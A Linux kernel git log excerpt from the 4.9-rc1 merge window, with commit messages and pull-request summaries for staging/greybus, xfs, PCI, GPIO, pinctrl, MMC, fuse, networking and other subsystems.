git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging Pull staging and IIO updates from Greg KH: "Here is the big staging and IIO driver pull request for 4.9-rc1. There are a lot of patches in here, the majority due to the drivers/staging/greybus/ subsystem being merged in with full development history that went back a few years, in order to preserve the work that those developers did over time. Lots and lots of tiny cleanups happened in the tree as well, due to the Outreachy application process and lots of other developers showing up for the first time to clean code up. Along with those changes, we deleted a wireless driver, and added a raspberrypi driver (currently marked broken), and lots of new iio drivers. Overall the tree still shrunk with more lines removed than added, about 10 thousand lines removed in total. Full details are in the very long shortlog below. All of this has been in the linux-next tree with no issues. There will be some merge problems with other subsystem trees, but those are all minor problems and shouldn't be hard to work out when they happen (MAINTAINERS and some lustre build problems with the IB tree)" And furter from me asking for clarification about greybus: "Right now there is a phone from Motorola shipping with this code (a slightly older version, but the same tree), so even though Ara is not alive in the same form, the functionality is happening. We are working with the developers of that phone to merge the newer stuff in with their fork so they can use the upstream version in future versions of their phone product line. Toshiba has at least one chip shipping in their catalog that needs/uses this protocol over a Unipro link, and rumor has it that there might be more in the future. There are also other users of the greybus protocols, there is a talk next week at ELC that shows how it is being used across a network connection to control a device, and previous ELC talks have showed the protocol stack being used over USB to drive embedded Linux boards. I've also talked to some people who are starting to work to add a host controller driver to control arduinos as the greybus PHY protocols are very useful to control a serial/i2c/spio/whatever device across a random physical link, as it is a way to have a self-describing device be attached to a host without needing manual configuration. So yes, people are using it, and there is still the chance that it will show up in a phone/laptop/tablet/whatever from Google in the future as well, the tech isn't dead, even if the original large phone project happens to be" * tag 'staging-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging: (3703 commits) Staging: fbtft: Fix bug in fbtft-core staging: rtl8188eu: fix double unlock error in rtw_resume_process() staging:r8188eu: remove GEN_MLME_EXT_HANDLER macro staging:r8188eu: remove GEN_DRV_CMD_HANDLER macro staging:r8188eu: remove GEN_EVT_CODE macro staging:r8188eu: remove GEN_CMD_CODE macro staging:r8188eu: remove pkt_newalloc member of the recv_buf structure staging:r8188eu: remove rtw_handle_dualmac declaration staging:r8188eu: remove (RGTRY|BSSID)_(OFT|SZ) macros staging:r8188eu: change rtl8188e_process_phy_info function argument type Staging: fsl-mc: Remove blank lines Staging: fsl-mc: Fix unaligned * in block comments Staging: comedi: Align the * in block comments Staging : ks7010 : Fix block comments warninig Staging: vt6655: Remove explicit NULL comparison using Coccinelle staging: rtl8188eu: core: rtw_xmit: Use macros instead of constants staging: rtl8188eu: core: rtw_xmit: Move constant of the right side staging: dgnc: Fix lines longer than 80 characters Staging: dgnc: constify attribute_group structures Staging: most: hdm-dim2: constify attribute_group structures ... commit 72c6ff2583fba824dc38c0ce87b838631cdb8294 Author: Andi Kleen Date: Wed Oct 5 12:47:12 2016 -0700 perf jevents: Fix Intel JSON fixed counter conversions Intel fixed counters are special cases in the JSON conversion process because their decoding differs between perf and the event files. Add some missing entries in the conversion table. Signed-off-by: Andi Kleen Cc: Jiri Olsa Cc: Sukadev Bhattiprolu Link: http://lkml.kernel.org/r/1475696832-9188-4-git-send-email-andi@firstfloor.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/pmu-events/jevents.c | 2 ++ 1 file changed, 2 insertions(+) commit 64f77566e1c84990d6c448bb3960f899521c0b7d Author: Ilya Dryomov Date: Tue Sep 27 12:35:55 2016 +0200 crush: remove redundant local variable Remove extra x1 variable, it's just temporary placeholder that clutters the code unnecessarily. Reflects ceph.git commit 0d19408d91dd747340d70287b4ef9efd89e95c6b. Signed-off-by: Ilya Dryomov net/ceph/crush/mapper.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 74a5293832b3c1f7cb8f86fb9af9ee747138d355 Author: Ilya Dryomov Date: Tue Sep 27 12:30:09 2016 +0200 crush: don't normalize input of crush_ln iteratively Use __builtin_clz() supported by GCC and Clang to figure out how many bits we should shift instead of shifting by a bit in a loop until the value gets normalized. Improves performance of this function by up to 3x in worst-case scenario and overall straw2 performance by ~10%. Reflects ceph.git commit 110de33ca497d94fc4737e5154d3fe781fa84a0a. Signed-off-by: Ilya Dryomov net/ceph/crush/mapper.c | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) commit 43caeb187deb92b3cc343fce9c2310512f6ac9cd Author: Darrick J. Wong Date: Mon Oct 3 09:11:35 2016 -0700 xfs: move mappings from cow fork to data fork after copy-write After the write component of a copy-write operation finishes, clean up the bookkeeping left behind. On error, we simply free the new blocks and pass the error up. If we succeed, however, then we must remove the old data fork mapping and move the cow fork mapping to the data fork. Signed-off-by: Darrick J. Wong [hch: Call the CoW failure function during xfs_cancel_ioend] Signed-off-by: Christoph Hellwig fs/xfs/xfs_aops.c | 24 ++++- fs/xfs/xfs_reflink.c | 242 +++++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_reflink.h | 8 ++ 3 files changed, 272 insertions(+), 2 deletions(-) commit 4862cfe825c0087c14452b362e708a35da675f5e Author: Darrick J. Wong Date: Mon Oct 3 09:11:35 2016 -0700 xfs: support removing extents from CoW fork Create a helper method to remove extents from the CoW fork without any of the side effects (rmapbt/bmbt updates) of the regular extent deletion routine. We'll eventually use this to clear out the CoW fork during ioend processing. Signed-off-by: Darrick J. Wong Reviewed-by: Christoph Hellwig fs/xfs/libxfs/xfs_bmap.c | 170 +++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_bmap.h | 1 + 2 files changed, 171 insertions(+) commit f39cce654f9a1df331d7e1ba703f5f06a79f2159 Author: Helge Deller Date: Wed Oct 5 22:28:46 2016 +0200 parisc: Add cfi_startproc and cfi_endproc to assembly code Add ENTRY_CFI() and ENDPROC_CFI() macros for dwarf debug info and convert assembly users to new macros. Signed-off-by: Helge Deller arch/parisc/include/asm/dwarf.h | 23 +++++++++++++ arch/parisc/include/asm/linkage.h | 12 +++++++ arch/parisc/kernel/entry.S | 46 +++++++++++++------------- arch/parisc/kernel/hpmc.S | 4 +-- arch/parisc/kernel/pacache.S | 68 +++++++++++++++++++-------------------- arch/parisc/kernel/real2.S | 24 ++++++++------ arch/parisc/lib/fixup.S | 16 ++++----- arch/parisc/lib/lusercopy.S | 8 ++--- 8 files changed, 121 insertions(+), 80 deletions(-) commit 2929e738002e7d43e0409fce9f968a67a7c9b0eb Author: Helge Deller Date: Wed Oct 5 22:05:39 2016 +0200 parisc: Move hpmc stack into page aligned bss section Do not reserve space in data section for hpmc stack, instead move it into the page aligned bss section. Signed-off-by: Helge Deller arch/parisc/kernel/hpmc.S | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 997198ba1ed691c09457120576c27dbd953d0557 Author: Pierre Morel Date: Tue Oct 4 10:53:40 2016 +0200 fs/block_dev.c: return the right error in thaw_bdev() When triggering thaw-filesystems via magic sysrq, the system enters a loop in do_thaw_one(), as thaw_bdev() still returns success if bd_fsfreeze_count == 0. To fix this, let thaw_bdev() always return error (and simplify the code a bit at the same time). Reviewed-by: Eric Farman Reviewed-by: Cornelia Huck Signed-off-by: Pierre Morel Reviewed-by: Jan Kara Signed-off-by: Jens Axboe fs/block_dev.c | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) commit 9fce0c226536fc36c7fb0a80000ca38a995be43e Merge: 3cc2691 c8d2bc9 Author: Mauro Carvalho Chehab Date: Wed Oct 5 16:42:36 2016 -0300 Merge tag 'v4.8' into patchwork Linux 4.8 * tag 'v4.8': (1761 commits) Linux 4.8 ARM: 8618/1: decompressor: reset ttbcr fields to use TTBR0 on ARMv7 MIPS: CM: Fix mips_cm_max_vp_width for non-MT kernels on MT systems include/linux/property.h: fix typo/compile error ocfs2: fix deadlock on mmapped page in ocfs2_write_begin_nolock() mm: workingset: fix crash in shadow node shrinker caused by replace_page_cache_page() MAINTAINERS: Switch to kernel.org email address for Javi Merino x86/entry/64: Fix context tracking state warning when load_gs_index fails x86/boot: Initialize FPU and X86_FEATURE_ALWAYS even if we don't have CPUID x86/vdso: Fix building on big endian host x86/boot: Fix another __read_cr4() case on 486 sctp: fix the issue sctp_diag uses lock_sock in rcu_read_lock sctp: change to check peer prsctp_capable when using prsctp polices sctp: remove prsctp_param from sctp_chunk sctp: move sent_count to the memory hole in sctp_chunk tg3: Avoid NULL pointer dereference in tg3_io_error_detected() x86/init: Fix cr4_init_shadow() on CR4-less machines MIPS: Fix detection of unsupported highmem with cache aliases MIPS: Malta: Fix IOCU disable switch read for MIPS64 MIPS: Fix BUILD_ROLLBACK_PROLOGUE for microMIPS ... commit 5691f0e9a3e7855832d5fd094801bf600347c2d0 Merge: 878fb5d eeea8b4 Author: Linus Torvalds Date: Wed Oct 5 12:13:14 2016 -0700 Merge tag 'sound-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound Pull sound updates from Takashi Iwai: "Again the diffstat shows a widely distributed pattern at this cycle, as there've been many code cleanups and refactoring allover the places. Other than that, the development was relatively calm, and no big surprise shouldn't be expected. Here are some highlights: Core: - Sequencer code refactoring / documentation updates - TLV code moved to uapi, following some relevant cleanups USB-Audio: - Lots of LINE6 driver fixes / updates - DragonFly and TEAC device quirk updates HD-audio: - Usual fixupes for Dell, Lenovo and HP machines - Link-audio time reporting capability ASoC: - Large refactoring of simple-card code to be shared with rcar driver - Removal of some duplicated ops over lots of CODEC drivers - Again quite a few Intel SKL driver updates - New drivers for Nuvoton NAU88C10, Realtek RT5660 and RT5663" * tag 'sound-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/tiwai/sound: (465 commits) ASoC: fsl: Fix lockups with recent cache changes ASoC: Intel: Skylake: fix memory leak of module on error exit path ASoC: rsnd: add SNDRV_PCM_TRIGGER_SUSPEND/RESUME ASoC: wm8960: remove usage of obsoleted TLV-related macro ASoC: rt5616: remove usage of obsoleted TLV-related macro ASoC: max9867: remove usage of obsoleted TLV-related macro ASoC: trivial: system spelling fix ASoC: da7219: fix inappropriate condition statement ASoC: tlv320aic31xx: do not declare support for mono DAI ASoC: stac9766: fix wrong usage of DECLARE_TLV_DB_LINEAR() ASoC: wm8991: remove unused variable ASoC: wm8991: fix wrong usage of DECLARE_TLV_DB_LINEAR() ASOC: tpa6130a2: add static qualifier for file local symbols ASoC: sst-bxt-rt298: fix obsoleted initializers for array ASoC: sst-bxt-da7219_max98357a: fix obsoleted initializers for array ASoC: rt5616: add static qualifier for file local symbols ASoC: arizona: Add output power up/down delays for speaker path ASoC: arizona: Add debug prints for output power up/down times ALSA: hda - Add the top speaker pin config for HP Spectre x360 ASoC: Intel: Add DMIC channel constraint for bxt machine ... commit bdf530984d10b6b88b10a6d03057409a3f1c6897 Merge: 69a06e4 181ffd1 Author: Bjorn Helgaas Date: Wed Oct 5 14:00:21 2016 -0500 Merge branch 'pci/host-vmd' into next * pci/host-vmd: x86/PCI: VMD: Move VMD driver to drivers/pci/host x86/PCI: VMD: Synchronize with RCU freeing MSI IRQ descs x86/PCI: VMD: Eliminate index member from IRQ list x86/PCI: VMD: Eliminate vmd_vector member from list type x86/PCI: VMD: Convert to use pci_alloc_irq_vectors() API x86/PCI: VMD: Allocate IRQ lists with correct MSI-X count PCI: Use positive flags in pci_alloc_irq_vectors() PCI: Update "pci=resource_alignment" documentation Conflicts: drivers/pci/host/Kconfig drivers/pci/host/Makefile commit 69a06e49843b29b296689fa2a7fc320d81aa7c64 Merge: 930ffc0 8b22335 6c8b120 b58ddf1 639c532 a5b45b7 8116acc b3327f7 ca19890 c460af9 9413d96 Author: Bjorn Helgaas Date: Wed Oct 5 13:59:14 2016 -0500 Merge branches 'pci/host-aardvark', 'pci/host-altera', 'pci/host-artpec', 'pci/host-designware', 'pci/host-hv', 'pci/host-keystone', 'pci/host-rcar', 'pci/host-rockchip', 'pci/host-tegra' and 'pci/host-xilinx' into next * pci/host-aardvark: PCI: aardvark: Remove redundant dev_err call in advk_pcie_probe() * pci/host-altera: PCI: altera: Remove redundant platform_get_resource() return value check PCI: altera: Move retrain from fixup to altera_pcie_host_init() PCI: altera: Rework config accessors for use without a struct pci_bus PCI: altera: Poll for link training status after retraining the link * pci/host-artpec: PCI: artpec6: Drop __init from artpec6_add_pcie_port() * pci/host-designware: PCI: designware: Remove redundant platform_get_resource() return value check PCI: designware: Exchange viewport of `MEMORYs' and `CFGs/IOs' PCI: designware: Keep viewport fixed for IO transaction if num_viewport > 2 PCI: designware: Check LTSSM training bit before deciding link is up PCI: designware: Add iATU Unroll feature PCI: designware: Wait for iATU enable PCI: designware: Move link wait definitions to .c file PCI: designware: Return data directly from dw_pcie_readl_rc() * pci/host-hv: PCI: hv: Handle hv_pci_generic_compl() error case PCI: hv: Handle vmbus_sendpacket() failure in hv_compose_msi_msg() PCI: hv: Remove the unused 'wrk' in struct hv_pcibus_device PCI: hv: Use pci_function_description[0] in struct definitions PCI: hv: Use zero-length array in struct pci_packet PCI: hv: Use list_move_tail() instead of list_del() + list_add_tail() * pci/host-keystone: PCI: keystone: Propagate request_irq() failure * pci/host-rcar: PCI: rcar: Try increasing PCIe link speed to 5 GT/s at boot PCI: rcar: Fix some checkpatch warnings PCI: rcar: Add multi-MSI support PCI: rcar: Don't disable/unprepare clocks on prepare/enable failure PCI: rcar: Consolidate register space lookup and ioremap * pci/host-rockchip: PCI: rockchip: Fix wrong transmitted FTS count PCI: rockchip: Improve the deassert sequence of four reset pins PCI: rockchip: Increase the Max Credit update interval PCI: rockchip: Add Rockchip PCIe controller support dt-bindings: PCI: rockchip: Add DT bindings for Rockchip PCIe controller * pci/host-tegra: PCI: tegra: Use of_device_get_match_data() PCI: tegra: Remove redundant _data suffix * pci/host-xilinx: microblaze/PCI: Add multidomain support for procfs PCI: xilinx: Dispose of MSI virtual IRQ PCI: xilinx: Clear correct MSI set bit PCI: xilinx: Clear interrupt register for invalid interrupt PCI: xilinx: Keep both legacy and MSI interrupt domain references PCI: xilinx-nwl: Enable all MSI interrupts using MSI mask PCI: xilinx-nwl: Expand error logging Conflicts: drivers/pci/host/pcie-xilinx.c commit 878fb5dc96b9dfae1de45be1b85aba40aca3356e Merge: 6a497e9 87e5fc9 Author: Linus Torvalds Date: Wed Oct 5 11:56:38 2016 -0700 Merge tag 'devicetree-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/robh/linux Pull DeviceTree updates from Rob Herring: - update changeset documentation on locking to reflect current code - fix alphabetizing of vendor-prefixes.txt - add various vendor prefixes - add ESP8089 WiFi binding - add new variable sized array parsing functions * tag 'devicetree-for-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/robh/linux: (21 commits) DT: irqchip: renesas-irqc: document R8A7743/5 support dt-bindings: Add Keith&Koep vendor prefix dt-bindings: add vendor prefix for Auvidea GmbH of: Add vendor prefix for Engicam s.r.l company devicetree: Add vendor-prefix for Silead Inc. devicetree: bindings: Add vendor prefix for Topeet. dt-bindings: Add summit vendor id of/platform: Initialise dev->fwnode appropriately of: Add array read functions with min/max size limits of: Make of_find_property_value_of_size take a length range dt: net: enhance DWC EQoS binding to support Tegra186 bindings: PCI: artpec: correct pci binding example Documentation: devicetree: Fix max77693 spelling errors dt: bindings: Add binding for ESP8089 wifi chips PCI: Xilinx NWL PCIe: Updating device tree documentation with prefetchable memory space Documentation: devicetree: spi: fix wrong spi-bus documentation dt-bindings: Add Japan Display Inc vendor id dt-bindings: vendor-prefixes: Add Sierra Wireless devicetree: Add vendor prefix for Shenzhen Sunchip Technology Co., Ltd devicetree: Sort vendor prefixes in alphabetical order ... commit 6a497e9d5828120cf55c2aea508176d94cf7f5ba Merge: d268dbe e085294 Author: Linus Torvalds Date: Wed Oct 5 11:49:09 2016 -0700 Merge tag 'gpio-v4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-gpio Pull GPIO updates from Linus Walleij: "This is the bulk of GPIO changes for the v4.9 series: Subsystem improvements: - do away with the last users of the obsolete Kconfig options ARCH_REQUIRE_GPIOLIB and ARCH_WANT_OPTIONAL_GPIOLIB (the latter always sounded like an item on a wishlist to Santa Claus to me). We can now select GPIOLIB and be done with it, for all archs. After some struggle it even work on UM. Not that it has GPIO, but if it wants to, it can select the library. - continued efforts to make drivers properly either tristate or bool. - introduce a warning for drivers assigning default triggers to their irqchip lines when probed from device tree, so we find and fix these ambigous drivers. It is agreed that in the OF config path, the device tree defines trigger characteristics. - the same warning, mutatis mutandis, for ACPI-probed GPIO irqchips. - we introduce the ability to mark certain IRQ lines as "unusable" as they can be taken by BIOS/firmware, unrouted in silicon and generally nasty if you use them, and such things. This is put to good use in the STMPE driver and also in the Cherryview pin control driver. - a new "mockup" virtual GPIO device that can be used for testing. The plan is to add unit tests under tools/* for exercising this device and verify that the kernel code paths are working as they should. - make memory-mapped I/O-drivers depend on HAS_IOMEM. This was implicit all the time, but when people started building UM with allyesconfig or allmodconfig it exploded in their face. - move some stray bits of device tree and ACPI HW description callbacks down into their respective implementation silo. These were causing issues when compiling on !HAS_IOMEM as well, so now eventually UM compiles the GPIOLIB library if it wants to. New drivers: - new driver for the Aspeed GPIO front-end companion to the pin controller merged through the pin control tree. - new driver for the LP873x PMIC GPIO portions. - new driver for Technologic Systems' I2C FPGA GPIO such as TS4900, TS-7970, TS-7990 and TS-4100. - new driver for the Broadcom BCM63xx series including BCM6338 and BCM6345. - new driver for the Intel WhiskeyCove PMIC GPIO. - new driver for the Allwinner AXP209 PMIC GPIO portions. - new driver for Diamond Systems 48 line GPIO-MM, another of these port-mapped I/O expansion cards. - support the STMicroelectronics STMPE1600 variant in the STMPE driver. Driver improvements: - the STMPE driver now supports rising/falling edge detection properly for IRQs. - the PCA954x will now fetch and enable its VCC regulator properly. - major rework of the PCA953x driver with the goal of eventually switching it over to use regmap and thus modernize it even more. - switch the IOP driver to use the generic MMIO GPIO library. - move the ages old HTC EGPIO (extended GPIO) GPIO expander driver over to this subsystem from MFD, achieveing some separation of concerns" * tag 'gpio-v4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-gpio: (81 commits) gpio: add missing static inline gpio: OF: localize some gpiochip init functions gpio: acpi: separation of concerns gpio: OF: separation of concerns gpio: make memory-mapped drivers depend on HAS_IOMEM gpio: stmpe: use BIT() macro gpio: stmpe: forbid unused lines to be mapped as IRQs mfd/gpio: Move HTC GPIO driver to GPIO subsystem gpio: MAINTAINERS: Add an entry for GPIO mockup driver gpio/mockup: add virtual gpio device gpio: Added zynq specific check for special pins on bank zero gpio: axp209: Implement get_direction gpio: aspeed: remove redundant return value check gpio: loongson1: remove redundant return value check ARM: omap2: fix missing include gpio: tc3589x: fix up complaints on unsigned gpio: tc3589x: add .get_direction() and small cleanup gpio: f7188x: use gpiochip_get_data instead of container_of gpio: tps65218: use devm_gpiochip_add_data() for gpio registration gpio: aspeed: fix return value check in aspeed_gpio_probe() ... commit d268dbe76a53d72cc41316eb59e7968db60e77ad Merge: 64cbd16 6bcf3f6 Author: Linus Torvalds Date: Wed Oct 5 11:37:14 2016 -0700 Merge tag 'pinctrl-v4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl Pull pin control updates from Linus Walleij: "This is the bulk of pin control changes for the v4.9 cycle. General improvements: - nicer debugfs output with one pin/config pair per line. - continued efforts to strictify module vs bool. - constification and similar from Coccinelle engineers. - return error from pinctrl_bind_pins() - pulling in the ability to selectively disable mapping of unusable IRQs from the GPIO subsystem. New drivers: - new driver for the Aspeed pin controller family: AST2400 (G4) and AST2500 (G5) are supported. These are used by OpenBMC on the IBM Witherspoon platform. - new subdriver for the Allwinner sunxi GR8. Driver improvements: - drop default IRQ trigger types assigned during IRQ mapping on AT91 and Nomadik. This error was identified by improvements in the IRQ core by Marc Zyngier. - active high/low types on the GPIO IRQs for the ST pin controller. - IRQ support on GPIOs on the STM32 pin controller. - Renesas Super-H/ARM sh-pfc: continued massive developments. - misc MXC improvements. - SPDIF on the Allwiner A31 SoC - IR remote and SPI NOR flash, NAND flash, I2C pins on the AMLogic SoC. - PWM pins on the Meson. - do not map unusable IRQs (taken by BIOS) on the Intel Cherryview. - add GPIO IRQ wakeup support to the Intel driver so we can wake up from button pushes. Deprecation: - delete the obsolete STiH415/6 SoC support" * tag 'pinctrl-v4.9-1' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl: (75 commits) pinctrl: qcom: fix masking of pinmux functions pinctrl: intel: Configure GPIO chip IRQ as wakeup interrupts pinctrl: cherryview: Convert to use devm_gpiochip_add_data() pinctrl: cherryview: Do not add all southwest and north GPIOs to IRQ domain gpiolib: Make it possible to exclude GPIOs from IRQ domain pinctrl: nomadik: don't default-flag IRQs as falling pinctrl: st: Remove obsolete platforms from pinctrl-st dt doc pinctrl: st: Remove STiH415/6 SoC pinctrl driver support. pinctrl: amlogic: gxbb: add i2c pins pinctrl: amlogic: gxbb: add nand pins pinctrl: stm32: add IRQ_DOMAIN_HIERARCHY dependency pinctrl: amlogic: gxbb: add spi nor pins pinctrl: sh-pfc: r8a7794: Implement voltage switching for SDHI pinctrl: sh-pfc: r8a7791: Implement voltage switching for SDHI pinctrl: sh-pfc: Add PORT_GP_24 helper macro pinctrl: Fix "st,syscfg" definition for STM32 pinctrl driver: base: pinctrl: return error from pinctrl_bind_pins() pinctrl: meson-gxbb: add the missing SDIO interrupt pin pinctrl: aspeed: fix regmap error handling pinctrl: mediatek: constify gpio_chip structures ... commit 64cbd16a8751fde075aa103dc7823a8c05805104 Merge: edadd0e 0f75c40 Author: Linus Torvalds Date: Wed Oct 5 11:34:53 2016 -0700 Merge tag 'mmc-v4.9' of git://git.linaro.org/people/ulf.hansson/mmc Pull MMC updates from Ulf Hansson: MMC core: - Add support for sending commands during data transfer - Erase/discard/trim improvements - Improved error handling - Extend sysfs with SD status register - Document info about the vmmc/vmmcq regulators - Extend pwrseq-simple to manage an optional post-power-on-delay - Some various minor improvements and cleanups MMC host: - dw_mmc: Add reset support - dw_mmc: Return -EILSEQ for EBE and SBE error - dw_mmc: Some cleanups - dw_mmc-k3: Add UHS-I support Hisilicon Hikey - tmio: Add eMMC support - sh_mobile_sdhi: Add r8a7796 support - sunxi: Don't use sample clocks for sun4i/sun5i - sunxi: Add support for A64 mmc controller - sunxi: Some cleanups and improvements - sdhci: Support for sending commands during data transfer - sdhci: Do not allow tuning procedure to be interrupted - sdhci-pci: Enable SD/SDIO on Merrifield - sdhci-pci|acpi: Enable MMC_CAP_CMD_DURING_TFR - sdhci-pci: Some cleanups - sdhci-of-arasan: Set controller to test mode when no CD bit - sdhci-of-arasan: Some fixes for clocks and phys - sdhci-brcmstb: Don't use ADMA 64-bit when not supported - sdhci-tegra: Mark 64-bit DMA broken on Tegra124 - sdhci-esdhc-imx: Fixups related to data timeouts * tag 'mmc-v4.9' of git://git.linaro.org/people/ulf.hansson/mmc: (68 commits) mmc: dw_mmc: remove the deprecated "supports-highspeed" property mmc: dw_mmc: minor cleanup for dw_mci_adjust_fifoth mmc: dw_mmc: use macro to define ring buffer size mmc: dw_mmc: fix misleading error print if failing to do DMA transfer mmc: dw_mmc: avoid race condition of cpu and IDMAC mmc: dw_mmc: split out preparation of desc for IDMAC32 and IDMAC64 mmc: core: don't try to switch block size for dual rate mode mmc: sdhci-of-arasan: Set controller to test mode when no CD bit dt: sdhci-of-arasan: Add device tree option xlnx, fails-without-test-cd mmc: tmio: add eMMC support mmc: rtsx_usb: use new macro for R1 without CRC mmc: rtsx_pci: use new macro for R1 without CRC mmc: add define for R1 response without CRC mmc: card: do away with indirection pointer mmc: sdhci-acpi: Set MMC_CAP_CMD_DURING_TFR for Intel eMMC controllers mmc: sdhci-pci: Set MMC_CAP_CMD_DURING_TFR for Intel eMMC controllers mmc: sdhci: Support cap_cmd_during_tfr requests mmc: mmc_test: Add tests for sending commands during transfer mmc: core: Add support for sending commands during data transfer mmc: sdhci-brcmstb: Fix incorrect capability ... commit edadd0e5a7f9970553423ebd08172c9e3d1fb189 Merge: 3fb75cb 63401cc Author: Linus Torvalds Date: Wed Oct 5 10:58:15 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/fuse Pull fuse updates from Miklos Szeredi: "This adds POSIX ACL permission checking to the fuse kernel module. In addition there are minor bug fixes as well as cleanups" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/fuse: fuse: limit xattr returned size fuse: remove duplicate cs->offset assignment fuse: don't use fuse_ioctl_copy_user() helper fuse_ioctl_copy_user(): don't open-code copy_page_{to,from}_iter() fuse: get rid of fc->flags fuse: use timespec64 fuse: don't use ->d_time fuse: Add posix ACL support fuse: handle killpriv in userspace fs fuse: fix killing s[ug]id in setattr fuse: invalidate dir dentry after chmod fuse: Use generic xattr ops fuse: listxattr: verify xattr list commit 3fb75cb80d55d4b168e1e3250a01a548b1357148 Merge: 687ee0a 225c516 Author: Linus Torvalds Date: Wed Oct 5 10:53:03 2016 -0700 Merge branch 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jack/linux-fs Pull misc filesystem and quota fixes from Jan Kara: "Some smaller udf, ext2, quota & reiserfs fixes" * 'for_linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jack/linux-fs: ext2: Unmap metadata when zeroing blocks udf: don't bother with full-page write optimisations in adinicb case reiserfs: Unlock superblock before calling reiserfs_quota_on_mount() udf: Remove useless check in udf_adinicb_write_begin() quota: fill in Q_XGETQSTAT inode information for inactive quotas ext2: Check return value from ext2_get_group_desc() commit 687ee0ad4e897e29f4b41f7a20c866d74c5e0660 Merge: 3ddf40e 03a1eab Author: Linus Torvalds Date: Wed Oct 5 10:11:24 2016 -0700 Merge git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next Pull networking updates from David Miller: 1) BBR TCP congestion control, from Neal Cardwell, Yuchung Cheng and co. at Google. https://lwn.net/Articles/701165/ 2) Do TCP Small Queues for retransmits, from Eric Dumazet. 3) Support collect_md mode for all IPV4 and IPV6 tunnels, from Alexei Starovoitov. 4) Allow cls_flower to classify packets in ip tunnels, from Amir Vadai. 5) Support DSA tagging in older mv88e6xxx switches, from Andrew Lunn. 6) Support GMAC protocol in iwlwifi mwm, from Ayala Beker. 7) Support ndo_poll_controller in mlx5, from Calvin Owens. 8) Move VRF processing to an output hook and allow l3mdev to be loopback, from David Ahern. 9) Support SOCK_DESTROY for UDP sockets. Also from David Ahern. 10) Congestion control in RXRPC, from David Howells. 11) Support geneve RX offload in ixgbe, from Emil Tantilov. 12) When hitting pressure for new incoming TCP data SKBs, perform a partial rathern than a full purge of the OFO queue (which could be huge). From Eric Dumazet. 13) Convert XFRM state and policy lookups to RCU, from Florian Westphal. 14) Support RX network flow classification to igb, from Gangfeng Huang. 15) Hardware offloading of eBPF in nfp driver, from Jakub Kicinski. 16) New skbmod packet action, from Jamal Hadi Salim. 17) Remove some inefficiencies in snmp proc output, from Jia He. 18) Add FIB notifications to properly propagate route changes to hardware which is doing forwarding offloading. From Jiri Pirko. 19) New dsa driver for qca8xxx chips, from John Crispin. 20) Implement RFC7559 ipv6 router solicitation backoff, from Maciej Żenczykowski. 21) Add L3 mode to ipvlan, from Mahesh Bandewar. 22) Support 802.1ad in mlx4, from Moshe Shemesh. 23) Support hardware LRO in mediatek driver, from Nelson Chang. 24) Add TC offloading to mlx5, from Or Gerlitz. 25) Convert various drivers to ethtool ksettings interfaces, from Philippe Reynes. 26) TX max rate limiting for cxgb4, from Rahul Lakkireddy. 27) NAPI support for ath10k, from Rajkumar Manoharan. 28) Support XDP in mlx5, from Rana Shahout and Saeed Mahameed. 29) UDP replicast support in TIPC, from Richard Alpe. 30) Per-queue statistics for qed driver, from Sudarsana Reddy Kalluru. 31) Support BQL in thunderx driver, from Sunil Goutham. 32) TSO support in alx driver, from Tobias Regnery. 33) Add stream parser engine and use it in kcm. 34) Support async DHCP replies in ipconfig module, from Uwe Kleine-König. 35) DSA port fast aging for mv88e6xxx driver, from Vivien Didelot. * git://git.kernel.org/pub/scm/linux/kernel/git/davem/net-next: (1715 commits) mlxsw: switchx2: Fix misuse of hard_header_len mlxsw: spectrum: Fix misuse of hard_header_len net/faraday: Stop NCSI device on shutdown net/ncsi: Introduce ncsi_stop_dev() net/ncsi: Rework the channel monitoring net/ncsi: Allow to extend NCSI request properties net/ncsi: Rework request index allocation net/ncsi: Don't probe on the reserved channel ID (0x1f) net/ncsi: Introduce NCSI_RESERVED_CHANNEL net/ncsi: Avoid unused-value build warning from ia64-linux-gcc net: Add netdev all_adj_list refcnt propagation to fix panic net: phy: Add Edge-rate driver for Microsemi PHYs. vmxnet3: Wake queue from reset work i40e: avoid NULL pointer dereference and recursive errors on early PCI error qed: Add RoCE ll2 & GSI support qed: Add support for memory registeration verbs qed: Add support for QP verbs qed: PD,PKEY and CQ verb support qed: Add support for RoCE hw init qede: Add qedr framework ... commit 3ddf40e8c31964b744ff10abb48c8e36a83ec6e7 Author: Johannes Weiner Date: Tue Oct 4 16:58:06 2016 +0200 mm: filemap: fix mapping->nrpages double accounting in fuse Commit 22f2ac51b6d6 ("mm: workingset: fix crash in shadow node shrinker caused by replace_page_cache_page()") switched replace_page_cache() from raw radix tree operations to page_cache_tree_insert() but didn't take into account that the latter function, unlike the raw radix tree op, handles mapping->nrpages. As a result, that counter is bumped for each page replacement rather than balanced out even. The mapping->nrpages counter is used to skip needless radix tree walks when invalidating, truncating, syncing inodes without pages, as well as statistics for userspace. Since the error is positive, we'll do more page cache tree walks than necessary; we won't miss a necessary one. And we'll report more buffer pages to userspace than there are. The error is limited to fuse inodes. Fixes: 22f2ac51b6d6 ("mm: workingset: fix crash in shadow node shrinker caused by replace_page_cache_page()") Signed-off-by: Johannes Weiner Cc: Andrew Morton Cc: Miklos Szeredi 